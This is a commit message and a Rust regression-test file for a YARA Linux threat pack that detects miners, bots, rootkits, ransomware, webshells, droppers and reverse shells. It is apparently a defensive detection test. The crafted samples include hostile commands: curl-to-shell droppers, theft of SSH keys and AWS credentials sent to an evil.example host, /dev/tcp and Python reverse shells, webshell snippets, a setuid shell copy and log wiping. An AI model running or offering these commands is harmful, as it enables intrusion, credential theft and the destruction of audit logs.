Make the product buyable and the open-source claim true. Licence system, end to end. license.rs was well-designed dead code; wire it up: an Ed25519-signed token (same key and verify-before-parse discipline as definition packs), `hound license install`, houndd loads and verifies at boot, and the execution gate and full supply-chain feed now gate on Capability checks. Verification failing always degrades to Free, never to a locked-out security tool; an expired licence downgrades with the reason shown. Adds tools/issue-license.py. Hound Linux threat pack. 34 curated YARA rules — miners, IoT/DDoS bots, backdoors, rootkits, ransomware, webshells, droppers, reverse shells — shipped through a new signed rules-pack channel (.rpack) alongside the definitions feed. Every rule is ELF- or size-anchored and keyed on family strings, never syscalls; the builder refuses to sign a pack that matches a system binary (the goodware gate caught two bad rules), and a regression test proves every rule fires on a sample and stays quiet on a document about malware. Action signature verification. The composite action claimed Ed25519 verification "against the same signed manifest the desktop agent uses" but only compared a same-host sha256. It now fetches latest.json, verifies the Ed25519 signature over the canonical release statement against the pinned release key, and installs the checksum from the verified manifest. Licence resolved to Apache-2.0: Cargo.toml, a real LICENSE file, README. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
274 lines
9.8 KiB
Rust
274 lines
9.8 KiB
Rust
//! Regression tests for the Hound Linux threat pack
|
|
//! (`crates/hound-defs/rules/hound-linux.yar`).
|
|
//!
|
|
//! The pack ships through the signed rules channel rather than compiled
|
|
//! into the binary, so these tests are its safety net: they compile it
|
|
//! under the real engine, prove every rule still fires on a crafted
|
|
//! sample of the thing it names, and re-run the goodware gate that keeps
|
|
//! it from eating a system binary. A rule that stops detecting, or starts
|
|
//! matching real files, fails the build here rather than in the field.
|
|
|
|
use std::path::PathBuf;
|
|
|
|
fn pack_source() -> String {
|
|
// The pack lives in the sibling hound-defs crate.
|
|
let path = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
|
|
.join("../hound-defs/rules/hound-linux.yar");
|
|
std::fs::read_to_string(&path)
|
|
.unwrap_or_else(|e| panic!("reading {}: {e}", path.display()))
|
|
}
|
|
|
|
fn compiled() -> yara_x::Rules {
|
|
let src = pack_source();
|
|
let mut c = yara_x::Compiler::new();
|
|
c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar"))
|
|
.expect("the threat pack must compile under yara-x");
|
|
c.build()
|
|
}
|
|
|
|
fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec<String> {
|
|
let mut sc = yara_x::Scanner::new(rules);
|
|
sc.scan(bytes)
|
|
.unwrap()
|
|
.matching_rules()
|
|
.map(|r| r.identifier().to_string())
|
|
.collect()
|
|
}
|
|
|
|
/// A minimal ELF header so ELF-anchored rules can fire on a crafted body.
|
|
fn elf(body: &[u8]) -> Vec<u8> {
|
|
let mut v = vec![0x7f, b'E', b'L', b'F'];
|
|
v.extend_from_slice(&[2, 1, 1, 0]);
|
|
v.extend_from_slice(&[0u8; 56]);
|
|
v.extend_from_slice(body);
|
|
v
|
|
}
|
|
|
|
#[test]
|
|
fn the_pack_compiles_and_has_the_rules_we_think_it_does() {
|
|
let rules = compiled();
|
|
let count = rules.iter().count();
|
|
assert!(count >= 30, "expected the full pack, compiled {count}");
|
|
}
|
|
|
|
#[test]
|
|
fn every_rule_fires_on_a_sample_of_what_it_names() {
|
|
let rules = compiled();
|
|
|
|
// (rule identifier, a crafted sample that must trigger it).
|
|
let cases: &[(&str, Vec<u8>)] = &[
|
|
(
|
|
"Linux_Coinminer_XMRig_Config",
|
|
elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"),
|
|
),
|
|
(
|
|
"Linux_Coinminer_XMRigCC",
|
|
elf(b"XMRigCCServer control_command cc-client"),
|
|
),
|
|
(
|
|
"Linux_Coinminer_Generic_Pool",
|
|
elf(b"stratum+tcp:// pool.minexmr.com worker"),
|
|
),
|
|
(
|
|
"Linux_Bot_Mirai",
|
|
elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"),
|
|
),
|
|
(
|
|
"Linux_Bot_Gafgyt",
|
|
elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"),
|
|
),
|
|
(
|
|
"Linux_Bot_Tsunami",
|
|
elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN <target>"),
|
|
),
|
|
(
|
|
"Linux_Backdoor_XorDDoS",
|
|
elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"),
|
|
),
|
|
(
|
|
"Linux_Backdoor_TinyShell",
|
|
elf(b"tsh RUNSHELL GET_FILE PUT_FILE"),
|
|
),
|
|
(
|
|
"Linux_Backdoor_Rekoobe",
|
|
elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"),
|
|
),
|
|
(
|
|
"Linux_Backdoor_BPFDoor",
|
|
elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"),
|
|
),
|
|
(
|
|
"Linux_Rootkit_Diamorphine",
|
|
elf(b"diamorphine module_hide hacked_getdents is_invisible"),
|
|
),
|
|
(
|
|
"Linux_Rootkit_Reptile",
|
|
elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"),
|
|
),
|
|
(
|
|
"Linux_Rootkit_Bedevil",
|
|
elf(b"bdvl shell_pass hidden_port ldpreloadhijack"),
|
|
),
|
|
(
|
|
"Linux_Rootkit_Preload_Config",
|
|
b"/dev/shm/.libhide.so\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Ransom_RansomEXX",
|
|
elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"),
|
|
),
|
|
(
|
|
"Linux_Ransom_DarkSide_ESXi",
|
|
elf(b"esxcli vm process kill README .onion encrypted by"),
|
|
),
|
|
(
|
|
"Linux_Ransom_Note_Generic",
|
|
b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_JSP_Eval",
|
|
b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_ASP_Eval",
|
|
b"<% eval(Request(\"cmd\")) %>".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_PHP_Obfuscated",
|
|
b"<?php $_GET['x']($_POST['y']); ?>".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_Python",
|
|
b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_Perl",
|
|
b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Webshell_C99_R57",
|
|
b"<?php /* c99shell */ $x='FilesMan'; echo 'r57shell'; ?>".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Dropper_CurlPipeSh",
|
|
b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Dropper_TmpChmodExec",
|
|
b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Stealer_SSHCredHarvest",
|
|
b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_BashHistory_Exfil",
|
|
b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_ReverseShell_DevTcp",
|
|
b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_ReverseShell_Interpreter",
|
|
b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_EmbeddedElf_B64",
|
|
b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_HistoryTamper",
|
|
b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_Persistence_CronDownload",
|
|
b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_LdPreloadEnvInject",
|
|
b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(),
|
|
),
|
|
(
|
|
"Linux_Malware_SetuidBackdoor_Script",
|
|
b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(),
|
|
),
|
|
];
|
|
|
|
let mut missed = Vec::new();
|
|
let mut seen = std::collections::HashSet::new();
|
|
for (rule, sample) in cases {
|
|
seen.insert(rule.to_string());
|
|
let matched = hits(&compiled(), sample);
|
|
if !matched.iter().any(|m| m == rule) {
|
|
missed.push(format!("{rule}: sample matched {matched:?} instead"));
|
|
}
|
|
}
|
|
assert!(missed.is_empty(), "rules that did not fire:\n {}", missed.join("\n "));
|
|
|
|
// Every rule in the pack must have a positive sample above — a rule
|
|
// nobody tests is a rule that can silently rot.
|
|
let mut untested: Vec<String> = compiled()
|
|
.iter()
|
|
.map(|r| r.identifier().to_string())
|
|
.filter(|id| !seen.contains(id))
|
|
.collect();
|
|
untested.sort();
|
|
assert!(untested.is_empty(), "rules with no positive sample:\n {}", untested.join("\n "));
|
|
}
|
|
|
|
#[test]
|
|
fn a_document_about_malware_is_not_malware() {
|
|
// The recurring incident: a threat-intel report / AI transcript that
|
|
// quotes the very strings the rules key on. The anchors exist for
|
|
// exactly this. A plain prose document naming these families and
|
|
// techniques must stay clean.
|
|
let rules = compiled();
|
|
let doc = "\
|
|
This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \
|
|
Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \
|
|
Analysts should watch for stratum+tcp:// pool URLs (donate-level, \
|
|
rig-id) that indicate XMRig, for reverse shells like \
|
|
'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \
|
|
webshells. Diamorphine and Reptile are common LKM rootkits.\n"
|
|
.repeat(50);
|
|
let h = hits(&rules, doc.as_bytes());
|
|
assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}");
|
|
}
|
|
|
|
#[test]
|
|
fn the_pack_does_not_flag_system_binaries() {
|
|
// The gate the builder enforces, kept as a test so it also runs in CI.
|
|
// Skipped where there is nothing to scan (a minimal container).
|
|
let rules = compiled();
|
|
let mut scanner = yara_x::Scanner::new(&rules);
|
|
let mut checked = 0usize;
|
|
let mut failures = Vec::new();
|
|
for dir in ["/usr/bin", "/bin", "/usr/sbin"] {
|
|
for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() {
|
|
let path = entry.path();
|
|
let Ok(md) = std::fs::symlink_metadata(&path) else { continue };
|
|
if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 {
|
|
continue;
|
|
}
|
|
let Ok(bytes) = std::fs::read(&path) else { continue };
|
|
checked += 1;
|
|
if let Ok(res) = scanner.scan(&bytes) {
|
|
for m in res.matching_rules() {
|
|
failures.push(format!("{} -> {}", path.display(), m.identifier()));
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if checked < 50 {
|
|
eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping");
|
|
return;
|
|
}
|
|
assert!(
|
|
failures.is_empty(),
|
|
"{} false positive(s) across {checked} system binaries:\n {}",
|
|
failures.len(),
|
|
failures.join("\n ")
|
|
);
|
|
eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives");
|
|
}
|